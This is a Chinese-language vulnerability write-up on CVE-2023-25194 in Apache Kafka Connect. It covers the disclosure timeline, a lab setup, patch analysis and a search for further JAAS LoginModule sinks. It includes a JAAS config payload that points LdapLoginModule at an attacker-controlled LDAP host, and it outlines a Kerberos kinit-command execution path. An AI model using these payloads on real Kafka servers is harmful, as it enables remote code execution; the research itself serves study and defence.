漏洞的原理不复杂,背后的故事却很有意思。
0x01 漏洞趣闻
有意思的Credit,
大致理理时间线
- 2022.04.04——jarij 在hackone上报给了个漏洞给Aiven Ltd,具体参考 https://hackerone.com/reports/1529790。Aiven 是一个云服务器提供商,包装了kafka产品,用到了debezium mysql的connector,都知道mysql jdbc connector参数如果能控制是有反序列化风险的,但这里漏洞还不是这个触发点,而是database.history.producer.sasl.jaas.config这个参数可以指定JndiLoginModule 造成JNDI 注入。
- 2022.11.08——漏洞详情公开。
- (时间未知)——4ra1n 和Y4tacker 两位师傅找到了个Apache 其他产品的漏洞,和kafka有关,最终定位为kafka的问题(细节未确认)
- 2023.02.08——Kafka CVE公告,参考https://kafka.apache.org/cve-list ,官方也给出了poc的重要参数xxx.overwrite.sasl.jaas.config。
- 2023.02.09——奇安信复现 https://nox.qianxin.com/article/518。
以至于到现在大家都以为是hackone的历史老洞,需要依赖debezium mysql connector,因此没有多少重视,都忽略了Kafka CVE的描述。。。
实际这个漏洞的描述如官方所述,通过设置参数xxx.overwrite.sasl.jaas.config,而不是database.history.producer.sasl.jaas.config,不需要依赖,而且自带CB反序列化链,影响比HackOne 的洞要严重很多。
0x02 漏洞环境
执行如下命令启动一个Kafka Server 3.3.2:
vulhub/kafka/CVE-2023-25194 (待上传)
1 | docker build . -t vulhub/kafka:3.3.2 |
0x03 漏洞复现
1 | POST /connectors HTTP/1.1 |
3.1 漏洞分析
1 | attemptAuthentication:502, JndiLoginModule (com.sun.security.auth.module) |
0x04 补丁分析
https://github.com/apache/kafka/commit/1ed61e4090353bc9e4802ee09366f512dc60884f
增加了配置-Dorg.apache.kafka.disallowed.login.modules,默认值为com.sun.security.auth.module.JndiLoginModule,在JaasContext#load 中通过throwIfLoginModuleIsNotAllowed 检测。
LdapLoginModule
1 | initialize:392, LdapLoginModule (com.sun.security.auth.module) |
无法绕过password != null
1 | private void attemptAuthentication(boolean getPasswdFromSharedState) |
0x05 思考
- debezium mysql 横向,azure貌似也有用到
- kafka connector 参数可控是通用问题,配合pyn3rd师傅的 jdbc系列,是个不错的攻击面
- connectorconfig 到workerconfig,再到producerconfig,这个流程是关键
- rest api 通用问题,配置文件rce 也有了用武之地
拓展
还有哪些LoginModule 的实现类,其login是可能存在问题的?
5.1 总结
5.1.1 Sink点:LoginContext#login
最终的Sink点是LdapLoginModule#login,对应的interface 是LoginModule#login,更上一级别通用的接口是LoginContext#login
sink 点 LoginContext#login,其中
- LoginContext 初始化方法参数configuration 需要可控
LoginContext 的继承类呢
1 | class JAASLoginSinkMethod extends DataFlow::Node { |
5.1.2 Sink: KafkaProducer
KafkaProducer#<init> config 参数可控情况下,也是sink
5.2 横向发现
5.2.1 LdapLoginModule
除了LdapLoginModule, 还有哪些LoginModule的实现类
在jdk中,有
- com.sun.security.auth.module
- JndiLoginModule
- KeyStoreLoginModule
- Krb5LoginModule
- LdapLoginModule
- UnixLoginModule
- com.sun.jmx.remote.security
- FileLoginModule
- 在Kafka common security
- PlainLoginModule
- PropertyFileLoginModule
- ScramLoginModule
- DigestLoginModule
经验证,这些类中,有么无sink点,有sink点的除了JndiLoginModule,其余的都有filter验证账号密码,导致无法执行到最终的sink点,虽然有一些绕过的方式,但是在Kafka JaasContext中有严格的过滤,导致无法绕过。以下为发现的尝试:
LdapLoginModule
用的DirContext,能够实现注入的条件:
- 需要开启returnObj
SearchControls#setReturningObjFlag - DirContext#search/listBinding
<–! Spring-ldap 存在这个问题 –>
PlainLoginModule
PlainLoginModule 会更新覆盖subject
LoginContext invoke 中存在覆盖的可能,但是必须要支持多个jaascontext才行
1 | "producer.override.sasl.jaas.config": "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"replicator\" password=\"replicator-secret\";\ncom.sun.security.auth.module.LdapLoginModule required userProvider=\"ldap://kafka3.1.dns.m0d9.me\" userFilter=\"(name=*)\" authzIdentity=\"staff\" debug=\"true\" useSSL=\"false\" tryFirstPass=\"true\" serviceName=\"x\" username=\"aa\" password=\"aa\";" |
KeyStoreLoginModule
无法绕过输入,还是需要输入
除非找到一个CallbackHandler,默认给赋值,但是筛选发现不太可能了
CallBackHandlers
SaslChannelBuilder.java
1 | ... |
Utils.java
1 | public static <T> T newInstance(Class<T> c) { |
- 无参数构造函数
- 而且password类型的处理,不抛异常
- 继承AuthenticateCallbackHandler
JDK
- LoginContext$SecureCallbackHandler
无无参构造函数 - NegotiateCallbackHandler
PasswordCallback 抛异常 - JMXPluggableAuthenticator$JMXCallbackHandler
- PasswordCallbackHandler
无无参构造函数 - DefaultCallbackHandler
无无参构造函数
Kafka
- PlainServerCallbackHandler
PasswordCallback 抛异常 - SaslClientCallbackHandler
PasswordCallback 抛异常 - SaslServerCallbackHandler
无PasswordCallback,抛异常 - KerberosClientCallbackHandler
PasswordCallback 抛异常 - OAuthBearerSaslClientCallbackHandler
PasswordCallback 抛异常 - OAuthBearerUnsecuredLoginCallbackHandler
无PasswordCallback,抛异常 - OAuthBearerUnsecuredValidatorCallbackHandler
无PasswordCallback,抛异常 - OAuthBearerLoginCallbackHandler
无PasswordCallback,抛异常 - OAuthBearerValidatorCallbackHandler
无PasswordCallback,抛异常 - PlainServerCallbackHandler
无PasswordCallback,抛异常 - ScramServerCallbackHandler
无PasswordCallback,抛异常 - BasicAuthCallBackHandler
PasswordCallback 抛异常
5.2.2 KerberosLogin
KerberosLogin
KerberosLogin 这里存在sink点
Shell.execCommand(kinitCmd, kinitArgs);
kinitCmd 可以从输入中获取
sasl.kerberos.kinit.cmd
https://kafka.apache.org/documentation/#consumerapi
利用
- 需要配置好kerberos 服务
- windows
kafka-client
- keytab file
1
2
3kadmin.local
add_principal -randkey kafka-client@EXAMPLE.COM
xst -k /root/kafka-client.keytab kafka-client@EXAMPLE.COM - krb5.conf
kafka-server
单独搭个fake kerberos server也行
1 | service krb5-kdc restart |
1 | POST /connectors HTTP/1.1 |
在Windows下可以通过smb 加载远程URL
5.2.3 ExternalCommandSpec
org.apache.kafka.trogdor.workload.ExternalCommandSpec
1 | ./bin/trogdor.sh client createTask -t localhost:8889 -i produce0 --spec ./tests/spec/external_command.json |
5.2.4 Others
org.apache.activemq.jaas.LDAPLoginModule
- 过不了username 为空
org.apache.catalina.realm.JAASMemoryLoginModule
org.apache.karaf.jaas.modules.jdbc.JDBCLoginModule
org.apache.karaf.jaas.modules.ldap.LDAPLoginModule
org.apache.openejb.core.security.jaas.SQLLoginModule
org.apache.openejb.core.security.jaas.ScriptLoginModule
org.apache.geronimo.security.realm.providers.LDAPLoginModule
org.apache.geronimo.security.realm.providers.KerberosLoginModule
org.apache.geronimo.security.realm.providers.SQLLoginModule
org.apache.geronimo.security.credentialstore.RunAsLoginModule
0x06 参考
- [1] https://kafka.apache.org/cve-list
- [2] https://hackerone.com/reports/1529790
- [3] https://github.com/ohnonoyesyes/CVE-2023-25194
- [4] https://kafka.apache.org/documentation/#connect_rest
- [5] https://docs.confluent.io/kafka-connectors/debezium-mysql-source/current/mysql_source_connector_config.html#signal-parameters
- [6] https://kafka.apache.org/quickstart
- [7] https://lists.apache.org/thread/vy1c7fqcdqvq5grcqp6q5jyyb302khyz
- [8] https://nox.qianxin.com/article/518
- [9] kafka使用kerberos协议踩坑实录
- [10] Kerberos 入门实战(2)–Kerberos 安装及使用
- [11] 独辟蹊径:如何通过URL文件实现DLL劫持